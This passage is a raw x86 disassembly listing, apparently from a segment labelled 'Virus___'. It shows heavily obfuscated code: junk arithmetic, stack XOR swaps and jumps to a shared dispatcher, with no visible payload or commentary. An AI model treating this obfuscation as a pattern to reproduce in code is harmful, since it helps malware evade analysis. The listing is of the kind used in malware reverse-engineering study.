		jmp	loc_580BC3
; ---------------------------------------------------------------------------


loc_5905B6:				; CODE XREF: Virus___:0058B3CCj
		push	eax
		jmp	loc_590CF1
; ---------------------------------------------------------------------------


loc_5905BC:				; CODE XREF: Virus___:0058AEB9j
		add	esp, 4
		push	ebp
		mov	ebp, 0FCB14F0Bh
		add	ebx, ebp
		pop	ebp
		sub	eax, 611D3710h
		jmp	loc_5940D1
; ---------------------------------------------------------------------------


loc_5905D5:				; CODE XREF: Virus___:005812E6j
		push	eax
		mov	eax, 5B62599Bh
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_58A246
; ---------------------------------------------------------------------------


loc_5905ED:				; CODE XREF: Virus___:005942D7j
		add	eax, ebp
		push	ebp
		mov	ebp, 0D9001F7h
		or	ebp, 20806534h
		jmp	loc_586B2E
; ---------------------------------------------------------------------------


loc_590600:				; CODE XREF: Virus___:00582742j
		mov	ebx, eax
		pop	eax
		sub	ebp, 12A26577h
		sub	ebp, 15C0E1Eh
		add	ebp, ebx
		add	ebp, 15C0E1Eh
		add	ebp, 12A26577h
		jmp	loc_593E78
; ---------------------------------------------------------------------------


loc_590622:				; CODE XREF: Virus___:00593734j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		add	esi, 2
		jmp	loc_5819C6
; ---------------------------------------------------------------------------


loc_59063C:				; CODE XREF: Virus___:00584291j
		dec	bh
		push	dx
		jmp	loc_593522
; ---------------------------------------------------------------------------


loc_590645:				; CODE XREF: Virus___:0058E3B0j
		mov	ecx, [esp]
		jmp	loc_58A120
; ---------------------------------------------------------------------------


loc_59064D:				; CODE XREF: Virus___:00588129j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590652:				; CODE XREF: Virus___:0057FA3Bj
		add	edx, 591C1BD7h
		push	esi
		mov	esi, 5A475091h
		push	ebp
		mov	ebp, 58C31578h
		neg	ebp
		dec	ebp
		xor	ebp, 1A22757Fh
		sub	ebp, 99797391h
		or	esi, ebp
		pop	ebp
		sub	esi, 47106DE8h
		add	esi, 1
		push	ecx
		mov	ecx, 0CA5177Bh
		add	esi, 189F6E26h
		add	esi, ecx
		sub	esi, 189F6E26h
		pop	ecx
		sub	eax, 4DC031F9h
		add	eax, esi
		add	eax, 4DC031F9h
		pop	esi
		add	eax, edx
		sub	eax, 417C268Bh
		jmp	loc_5932F0
; ---------------------------------------------------------------------------


loc_5906B0:				; CODE XREF: Virus___:00583B7Ej
		mov	[esp], esi
		push	67B0h
		mov	[esp], ebp
		mov	ebp, 23FF5322h
		jmp	loc_5851B5
; ---------------------------------------------------------------------------


loc_5906C5:				; CODE XREF: Virus___:0058357Aj
		sub	eax, 487D189Bh
		xor	eax, 50903042h
		add	eax, 42AA0EEEh
		jmp	loc_58CEDD
; ---------------------------------------------------------------------------


loc_5906D9:				; CODE XREF: Virus___:005939CDj
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_58FCAF
; ---------------------------------------------------------------------------


loc_5906E8:				; CODE XREF: Virus___:0058D8F0j
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_591D72
; ---------------------------------------------------------------------------


loc_5906F9:				; CODE XREF: Virus___:0058AB77j
		mov	eax, esp
		sub	esp, 4
		jmp	loc_5915C5
; ---------------------------------------------------------------------------


loc_590706:				; CODE XREF: Virus___:00593949j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4C0C47D2h
		add	ebx, eax
		push	ebp
		mov	ebp, 4C0C47D2h
		jmp	loc_57FCBD
; ---------------------------------------------------------------------------


loc_590722:				; CODE XREF: Virus___:0058A8BDj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	esp, 4
		add	bl, al
		sub	bl, 0AFh
		push	eax
		mov	al, 0Fh
		shr	al, 7
		jmp	loc_58949D
; ---------------------------------------------------------------------------


loc_59073C:				; CODE XREF: Virus___:0057FF30j
		push	2EE8h
		mov	[esp], ecx
		mov	cl, 6
		push	eax
		mov	ah, 0D8h
		neg	ah
		add	ah, 0C1h
		or	cl, ah
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dx
		mov	dh, cl
		not	dh
		mov	cl, dh
		jmp	loc_58F747
; ---------------------------------------------------------------------------


loc_590771:				; CODE XREF: Virus___:0058C573j
		add	ebp, 36D93EFEh
		sub	ebp, 2190222h
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 24h
		sub	edx, 696F6A3Fh
		add	edx, edi
		push	ecx
		mov	ecx, 273B40EAh
		sub	ecx, 232D3B98h
		jmp	loc_58E8ED
; ---------------------------------------------------------------------------


loc_5907A9:				; CODE XREF: Virus___:00580258j
		add	esi, 4
		push	eax
		mov	eax, 6DBE44CEh
		or	eax, 6E9C1870h
		xor	eax, 6FBE5CFAh
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 5C0E622Fh
		jmp	loc_58C1B9
; ---------------------------------------------------------------------------


loc_5907D3:				; CODE XREF: Virus___:0057F61Fj
		add	edx, edi
		add	edx, 314E3621h
		pop	edi
		xor	edx, [esp]
		jmp	loc_58EA36
; ---------------------------------------------------------------------------


loc_5907E4:				; CODE XREF: Virus___:00589029j
		pop	ebp
		mov	edx, ebx
		pop	ebx
		sub	edx, 0CB15BB0h
		add	edx, esi
		push	73A6h
		mov	[esp], edi
		push	eax
		push	2CF45DA0h
		jmp	loc_589ED7
; ---------------------------------------------------------------------------


loc_590803:				; CODE XREF: Virus___:005875A1j
		add	esi, 57326475h
		jmp	loc_588C56
; ---------------------------------------------------------------------------


loc_59080E:				; CODE XREF: Virus___:0058560Ej
		mov	esi, ebp
		jmp	loc_58D8F5
; ---------------------------------------------------------------------------


loc_590815:				; CODE XREF: Virus___:0058C26Bj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	63FEh
		mov	[esp], esi
		jmp	loc_58F03F
; ---------------------------------------------------------------------------


loc_590831:				; CODE XREF: Virus___:00591981j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5888F2
; ---------------------------------------------------------------------------


loc_590846:				; CODE XREF: Virus___:00586FEDj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 16632185h
		jmp	loc_588BA7
; ---------------------------------------------------------------------------


loc_590871:				; CODE XREF: Virus___:0058F0C2j
		mov	esi, 260D18CEh
		mov	ebx, 1F8936D1h
		xor	ebx, esi
		pop	esi
		sub	ebx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, 6922719Eh
		add	ebp, ebx
		add	ebp, 6922719Eh
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5908B0:				; CODE XREF: Virus___:005932F3j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	43BEh
		mov	[esp], ecx
		push	edx
		mov	edx, 387917C2h
		push	253D0773h
		pop	ecx
		xor	ecx, edx
		pop	edx
		push	edi
		jmp	loc_59093C
; ---------------------------------------------------------------------------


loc_5908D6:				; CODE XREF: Virus___:005941CCj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5908E7:				; CODE XREF: Virus___:00584ABDj
		push	64BDh
		mov	[esp], eax
		jmp	loc_586DEA
; ---------------------------------------------------------------------------


loc_5908F4:				; CODE XREF: Virus___:00585A0Dj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	ebp, ebx
		jmp	loc_588612
; ---------------------------------------------------------------------------


loc_590902:				; CODE XREF: Virus___:00588B24j
		mov	[esp], edx
		push	5532h
		mov	[esp], ebx
		jmp	loc_58D244
; ---------------------------------------------------------------------------


loc_590912:				; CODE XREF: Virus___:0058C3B9j
		push	3D42h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590931:				; CODE XREF: Virus___:00581AC9j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_591D66
; ---------------------------------------------------------------------------


loc_59093C:				; CODE XREF: Virus___:005908D1j
		mov	edi, 5BE0212Bh
		jmp	loc_581AFA
; ---------------------------------------------------------------------------


loc_590946:				; CODE XREF: Virus___:005833CDj
		add	al, 0D0h
		push	ecx
		mov	ch, 78h
		jmp	loc_58AF08
; ---------------------------------------------------------------------------


loc_590950:				; CODE XREF: Virus___:00593279j
		add	edi, 66703348h
		pop	ebx
		push	eax
		push	edx
		push	28BE20FEh
		jmp	loc_58AD68
; ---------------------------------------------------------------------------


loc_590963:				; CODE XREF: Virus___:00594551j
		and	ebx, eax
		pop	eax
		sub	ebx, 187235E5h
		jmp	loc_58107B
; ---------------------------------------------------------------------------


loc_590971:				; CODE XREF: Virus___:0058614Bj
		add	eax, 503859BCh
		push	edi
		mov	edi, 63143CC3h
		jmp	loc_58C679
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_586DD3
; ---------------------------------------------------------------------------


loc_590989:				; CODE XREF: Virus___:00593DE6j
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_58188F
; ---------------------------------------------------------------------------


loc_590995:				; CODE XREF: Virus___:00585B05j
		mov	eax, 62097E3Ah
		dec	eax
		add	eax, 0E604ECD4h
		sub	esi, eax
		pop	eax
		push	edx
		mov	edx, 466B71EEh
		jmp	loc_59397B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_581701
; ---------------------------------------------------------------------------


loc_5909BA:				; CODE XREF: Virus___:00589B6Aj
		inc	edx
		or	edx, 708B37B5h
		jmp	loc_58BA69
; ---------------------------------------------------------------------------


loc_5909C6:				; CODE XREF: Virus___:00592B72j
		sub	esp, 4
		jmp	loc_591F0B
; ---------------------------------------------------------------------------


loc_5909CE:				; CODE XREF: Virus___:0058E375j
		add	esp, 4
		jmp	loc_5904B9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5909E7:				; CODE XREF: Virus___:0059416Aj
		add	esp, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58BA87
; ---------------------------------------------------------------------------


loc_5909FB:				; CODE XREF: Virus___:005917B0j
		xchg	eax, [esp]
		jmp	loc_57F660
; ---------------------------------------------------------------------------


loc_590A03:				; CODE XREF: Virus___:0058B264j
		neg	ecx
		xor	ecx, 87DCDA5Dh
		jmp	loc_58F523
; ---------------------------------------------------------------------------


loc_590A10:				; CODE XREF: Virus___:00585E8Dj
		xor	esi, [esp]
		pop	esp
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	eax, al
		jmp	loc_591B15
; ---------------------------------------------------------------------------


loc_590A2B:				; CODE XREF: Virus___:0058FF98j
		and	ebp, 13987416h
		and	ebp, 274A375Fh
		jmp	loc_583502
; ---------------------------------------------------------------------------


loc_590A3C:				; CODE XREF: Virus___:00588B15j
		add	ecx, edi
		sub	ecx, 1AFD54C3h
		xor	[ecx], edx
		jmp	loc_58F2D9
; ---------------------------------------------------------------------------


loc_590A4B:				; CODE XREF: Virus___:0058E08Dj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		push	ebx
		mov	ebx, 1A0E6992h
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0E5F19672h
		add	ebx, ebp
		jmp	loc_58C798
; ---------------------------------------------------------------------------


loc_590A71:				; CODE XREF: Virus___:00584648j
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_587C53
; ---------------------------------------------------------------------------


loc_590A7B:				; CODE XREF: Virus___:0058B0B2j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		push	esi
		mov	esi, 6B0A6074h
		jmp	loc_58B8DA
; ---------------------------------------------------------------------------


loc_590A91:				; CODE XREF: Virus___:00585A96j
		push	ecx
		jmp	loc_58FEAD
; ---------------------------------------------------------------------------


loc_590A97:				; CODE XREF: Virus___:0058E5D9j
		add	esp, 4
		push	6D40h
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_5889BB
; ---------------------------------------------------------------------------


loc_590AB1:				; CODE XREF: Virus___:0058032Aj
		add	ebx, 4
		jmp	loc_58D66F
; ---------------------------------------------------------------------------


loc_590ABC:				; CODE XREF: Virus___:00588F1Dj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_5850F6
; ---------------------------------------------------------------------------


loc_590ACC:				; CODE XREF: Virus___:0058C4E6j
		mov	ebx, 195435C9h
		shr	ebx, 7
		and	ebx, 3E3B71B9h
		dec	ebx
		push	edi
		mov	edi, 57D92932h
		sub	edi, 65D40C88h
		inc	edi
		xor	edi, 21CF7892h
		sub	edi, 0D25B1053h
		jmp	loc_588CAB
; ---------------------------------------------------------------------------


loc_590AF9:				; CODE XREF: Virus___:00593E45j
		not	eax
		push	esi
		mov	esi, 0D73FC9C0h
		sub	eax, esi
		pop	esi
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		sub	ecx, esi
		push	ebp
		mov	ebp, 2A2268D5h
		not	ebp
		xor	ebp, 2F6532AEh
		jmp	loc_58782C
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58F677
; ---------------------------------------------------------------------------


loc_590B26:				; CODE XREF: Virus___:0058AFC7j
		xchg	ecx, [esp]
		pop	esp
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590B3C:				; CODE XREF: Virus___:00592CD5j
		xchg	esi, [esp]
		jmp	loc_58B2D7
; ---------------------------------------------------------------------------


loc_590B44:				; CODE XREF: Virus___:0058B3E9j
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_592461
; ---------------------------------------------------------------------------


loc_590B55:				; CODE XREF: Virus___:00589E62j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_58A2B2
; ---------------------------------------------------------------------------


loc_590B64:				; CODE XREF: Virus___:0058E398j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 2
		add	edx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_5871AB
; ---------------------------------------------------------------------------


loc_590B87:				; CODE XREF: Virus___:0058A265j
		shr	al, 7
		and	al, 0F1h
		add	al, 3Bh
		add	dl, al
		mov	eax, [esp]
		add	esp, 4
		sub	dl, 0C0h
		shr	dl, 8
		push	eax
		mov	al, 3Fh
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 2Fh
		not	dh
		add	dh, 1Dh
		not	dh
		push	3D21h
		jmp	loc_585561
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59229A
; ---------------------------------------------------------------------------


loc_590BC0:				; CODE XREF: Virus___:00592295j
		push	ebx
		mov	ebx, esp
		jmp	loc_5851FD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_58C4EB
; ---------------------------------------------------------------------------


loc_590BD7:				; CODE XREF: Virus___:0058D721j
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_581D39
; ---------------------------------------------------------------------------


loc_590BE6:				; CODE XREF: Virus___:0058B217j
		mov	eax, esp
		push	ecx
		mov	ecx, 62F2E7Bh
		add	ecx, 1
		shl	ecx, 3
		sub	ecx, 1F61066Ch
		inc	ecx
		add	ecx, 0EDE7928Fh
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 481267Ah
		shr	edx, 5
		add	edx, 0FFFFFFFFh
		shr	edx, 3
		jmp	loc_586238
; ---------------------------------------------------------------------------


loc_590C23:				; CODE XREF: Virus___:00588A45j
		pop	ecx
		dec	ecx
		jmp	loc_5844F7
; ---------------------------------------------------------------------------


loc_590C2A:				; CODE XREF: Virus___:005846BAj
		mov	dl, 46h
		jmp	loc_58488F
; ---------------------------------------------------------------------------


loc_590C31:				; CODE XREF: Virus___:00593D55j
		add	edx, eax
		jmp	loc_582377
; ---------------------------------------------------------------------------


loc_590C38:				; CODE XREF: Virus___:00584A0Ej
		xor	ebx, 0D33F6ADCh
		jmp	loc_58000E
; ---------------------------------------------------------------------------


loc_590C43:				; CODE XREF: Virus___:005846B2j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58C462
; ---------------------------------------------------------------------------


loc_590C4C:				; CODE XREF: Virus___:0058B445j
		pop	esp
		add	ebx, eax
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2CF901E4h
		jmp	loc_58AFB6
; ---------------------------------------------------------------------------


loc_590C68:				; CODE XREF: Virus___:0058FC32j
		mov	ecx, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_58BC12
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58D4BA
; ---------------------------------------------------------------------------


loc_590C87:				; CODE XREF: Virus___:0057F6DCj
		mov	bl, 0CEh
		sub	bl, 0FFh
		sub	bl, 0DCh
		and	ah, bl
		pop	ebx
		jmp	loc_584EA0
; ---------------------------------------------------------------------------


loc_590C97:				; CODE XREF: Virus___:005864ACj
		add	edi, 0C893B2C1h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_57FFC4
; ---------------------------------------------------------------------------


loc_590CB0:				; CODE XREF: Virus___:0059017Aj
		mov	ecx, 4
		mov	ebp, ecx
		jmp	loc_5830DC
; ---------------------------------------------------------------------------


loc_590CBC:				; CODE XREF: Virus___:0058FECAj
		xchg	ebx, [esp]
		pop	esp
		xor	ebp, edx
		pop	edx
		jmp	loc_587CC4
; ---------------------------------------------------------------------------


loc_590CC8:				; CODE XREF: Virus___:0058D7C6j
		push	3413h
		jmp	loc_591E02
; ---------------------------------------------------------------------------


loc_590CD2:				; CODE XREF: Virus___:0058289Fj
		mov	esi, eax
		pop	eax
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58BC01
; ---------------------------------------------------------------------------


loc_590CE2:				; CODE XREF: Virus___:00591719j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_58466D
; ---------------------------------------------------------------------------


loc_590CF1:				; CODE XREF: Virus___:005905B7j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A003
; ---------------------------------------------------------------------------


loc_590D04:				; CODE XREF: Virus___:00581AF5j
		mov	[esp], ebp
		mov	ebp, 4A1782Ch
		jmp	loc_580B64
; ---------------------------------------------------------------------------


loc_590D11:				; CODE XREF: Virus___:00584BD6j
		push	edi
		mov	edi, 1AA93B9Fh
		add	edi, 56A8F0E8h
		xor	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		push	7FAD08E5h
		pop	ebp
		jmp	loc_58020D
; ---------------------------------------------------------------------------


loc_590D40:				; CODE XREF: Virus___:0058CD45j
		xchg	ebp, [esp]
		pop	esp
		xchg	edi, [esp]
		jmp	loc_58B08B
; ---------------------------------------------------------------------------


loc_590D4C:				; CODE XREF: Virus___:00589894j
		shr	ebp, 6
		add	ebp, 326785D5h
		add	eax, ebp
		pop	ebp
		jmp	loc_587B70
; ---------------------------------------------------------------------------


loc_590D5D:				; CODE XREF: Virus___:00586A2Ej
		pop	esi
		push	ebx
		push	esp
		jmp	loc_582C37
; ---------------------------------------------------------------------------


loc_590D65:				; CODE XREF: Virus___:0058470Cj
		push	dword ptr [esp+4]
		jmp	loc_580A38
; ---------------------------------------------------------------------------


loc_590D6E:				; CODE XREF: Virus___:0058E423j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58D863
; ---------------------------------------------------------------------------


loc_590D82:				; CODE XREF: Virus___:005929CCj
		mov	[esp], esi
		dec	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		not	esi
		add	esi, 1
		push	ebp
		push	eax
		mov	eax, 1CC51C0h
		jmp	loc_5869E0
; ---------------------------------------------------------------------------


loc_590D9F:				; CODE XREF: Virus___:0058F975j
		and	edx, eax
		pop	eax
		dec	edx
		push	ebx
		jmp	loc_589D68
; ---------------------------------------------------------------------------


loc_590DA9:				; CODE XREF: Virus___:00586AD8j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58CF69
; ---------------------------------------------------------------------------


loc_590DB4:				; CODE XREF: Virus___:00589394j
		add	edx, esi
		jmp	loc_5859EF
; ---------------------------------------------------------------------------


loc_590DBB:				; CODE XREF: Virus___:0058DDFFj
		xor	edx, 0C1B6912Ch
		mov	esi, edx
		pop	edx
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_58589D
; ---------------------------------------------------------------------------


loc_590DD7:				; CODE XREF: Virus___:00588762j
		add	edx, 4
		jmp	loc_58BD5E
; ---------------------------------------------------------------------------


loc_590DE2:				; CODE XREF: Virus___:0058C5C9j
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_586540
; ---------------------------------------------------------------------------


loc_590DEC:				; CODE XREF: Virus___:00588EA4j
		sub	ebx, ebp
		jmp	loc_591406
; ---------------------------------------------------------------------------


loc_590DF3:				; CODE XREF: Virus___:00583C81j
		mov	[esp], ebx
		mov	bl, 37h
		dec	bl
		shr	bl, 6
		jmp	loc_592364
; ---------------------------------------------------------------------------


loc_590E02:				; CODE XREF: Virus___:00585569j
		and	dh, cl
		jmp	loc_581A14
; ---------------------------------------------------------------------------


loc_590E09:				; CODE XREF: Virus___:0057FA16j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_58C9F2
; ---------------------------------------------------------------------------


loc_590E24:				; CODE XREF: Virus___:00588D16j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590E29:				; CODE XREF: Virus___:0058CE47j
		and	ebp, eax
		pop	eax
		inc	ebp
		sub	ebp, 0DC93C979h
		add	ebx, ebp
		pop	ebp
		jmp	loc_59103C
; ---------------------------------------------------------------------------


loc_590E3B:				; CODE XREF: Virus___:00582BA1j
		pop	ecx
		push	edi
		mov	edi, 1A8C56B9h
		shl	edi, 2
		shr	edi, 1
		push	ebx
		jmp	loc_581DE2
; ---------------------------------------------------------------------------


loc_590E4D:				; CODE XREF: Virus___:0058B06Ej
		xor	ebx, [esp]
		jmp	loc_584E26
; ---------------------------------------------------------------------------


loc_590E55:				; CODE XREF: Virus___:00585981j
		mov	esi, 0C639C540h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 45D3E6Eh
		xor	esi, eax
		push	dword ptr [esp]
		pop	eax
		push	0FD1h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5932B6
; ---------------------------------------------------------------------------


loc_590E8E:				; CODE XREF: Virus___:00593A5Bj
		push	edi
		mov	edi, 6EC6077h
		add	esi, edi
		pop	edi
		jmp	loc_580A65
; ---------------------------------------------------------------------------


loc_590E9C:				; CODE XREF: Virus___:0058A7BDj
		shr	eax, 3
		add	eax, 0E9CB8D56h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, edi
		jmp	loc_584DDE
; ---------------------------------------------------------------------------


loc_590EB3:				; CODE XREF: Virus___:0057F57Dj
		xor	edi, 715D3D1Bh
		shr	edi, 5
		inc	edi
		neg	edi
		sub	edi, 0FDD0F761h
		add	esi, edi
		pop	edi
		jmp	loc_58F06F
; ---------------------------------------------------------------------------


loc_590ECD:				; CODE XREF: Virus___:00594136j
		pop	ecx
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 7AC979C1h
		shl	edi, 5
		xor	edi, 592F3824h
		add	esi, edi
		jmp	loc_588882
; ---------------------------------------------------------------------------


loc_590EE7:				; CODE XREF: Virus___:00584D0Dj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58F9C7
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_592A62
; ---------------------------------------------------------------------------


loc_590F05:				; CODE XREF: Virus___:00583695j
		pop	esp
		mov	[esp], edx
		jmp	loc_57F495
; ---------------------------------------------------------------------------


loc_590F0E:				; CODE XREF: Virus___:0058DEF9j
		neg	ebx
		jmp	loc_59394E
; ---------------------------------------------------------------------------


loc_590F15:				; CODE XREF: Virus___:0058E448j
		push	ecx
		mov	ecx, 4DE9396Fh
		jmp	loc_58A4DD
; ---------------------------------------------------------------------------


loc_590F20:				; CODE XREF: Virus___:00589528j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_591188
; ---------------------------------------------------------------------------


loc_590F35:				; CODE XREF: Virus___:0058554Bj
		pop	ebp
		xor	edi, 1EAC3258h
		or	edi, 3CFE588Bh
		add	edi, 1
		xor	edi, 6774533Ah
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 4F720E11h
		sub	edx, eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57FCA3
; ---------------------------------------------------------------------------


loc_590F69:				; CODE XREF: Virus___:00588DC5j
		mov	[esp], edi
		push	esi
		push	6AEE1C78h
		pop	esi
		sub	esi, 11F15E87h
		push	esi
		jmp	loc_583147
; ---------------------------------------------------------------------------


loc_590F7F:				; CODE XREF: Virus___:0058332Dj
		push	eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590F86:				; CODE XREF: Virus___:0059314Aj
		push	esp
		pop	edi
		push	eax
		jmp	loc_580EF5
; ---------------------------------------------------------------------------


loc_590F8E:				; CODE XREF: Virus___:00584257j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_587F85
; ---------------------------------------------------------------------------


loc_590F9C:				; CODE XREF: Virus___:005848B0j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_590FB6:				; CODE XREF: Virus___:0057FBC2j
					; Virus___:0058E539j
		push	33FFh
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5859CF
; ---------------------------------------------------------------------------


loc_590FC9:				; CODE XREF: Virus___:00585D79j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_589AFB
; ---------------------------------------------------------------------------


loc_590FDE:				; CODE XREF: Virus___:0058BC5Cj
		add	[esp], eax
		sub	dword ptr [esp], 1B4520EDh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7FE91D8Ah
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	2B3Eh
		mov	[esp], edx
		jmp	loc_5822E7
; ---------------------------------------------------------------------------


loc_59100D:				; CODE XREF: Virus___:0058D67Bj
		add	ebx, esi
		push	eax
		jmp	loc_5859FA
; ---------------------------------------------------------------------------


loc_591015:				; CODE XREF: Virus___:00588CA6j
		push	esi
		push	727h
		mov	[esp], ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_59265B
; ---------------------------------------------------------------------------


loc_591034:				; CODE XREF: Virus___:00589E75j
		neg	ebx
		dec	ebx
		jmp	loc_581621
; ---------------------------------------------------------------------------


loc_59103C:				; CODE XREF: Virus___:00590E36j
		sub	ebx, 353B6694h
		or	ebx, 50220D8Dh
		xor	ebx, 2B30269Fh
		sub	ebx, 76CF490Eh
		jmp	loc_58E0B7
; ---------------------------------------------------------------------------


loc_591059:				; CODE XREF: Virus___:00582601j
		xor	eax, edx
		not	edx
		xchg	eax, edx
		jmp	loc_5835EB
; ---------------------------------------------------------------------------


loc_591063:				; CODE XREF: Virus___:005842B4j
		pop	ebp
		push	edi
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
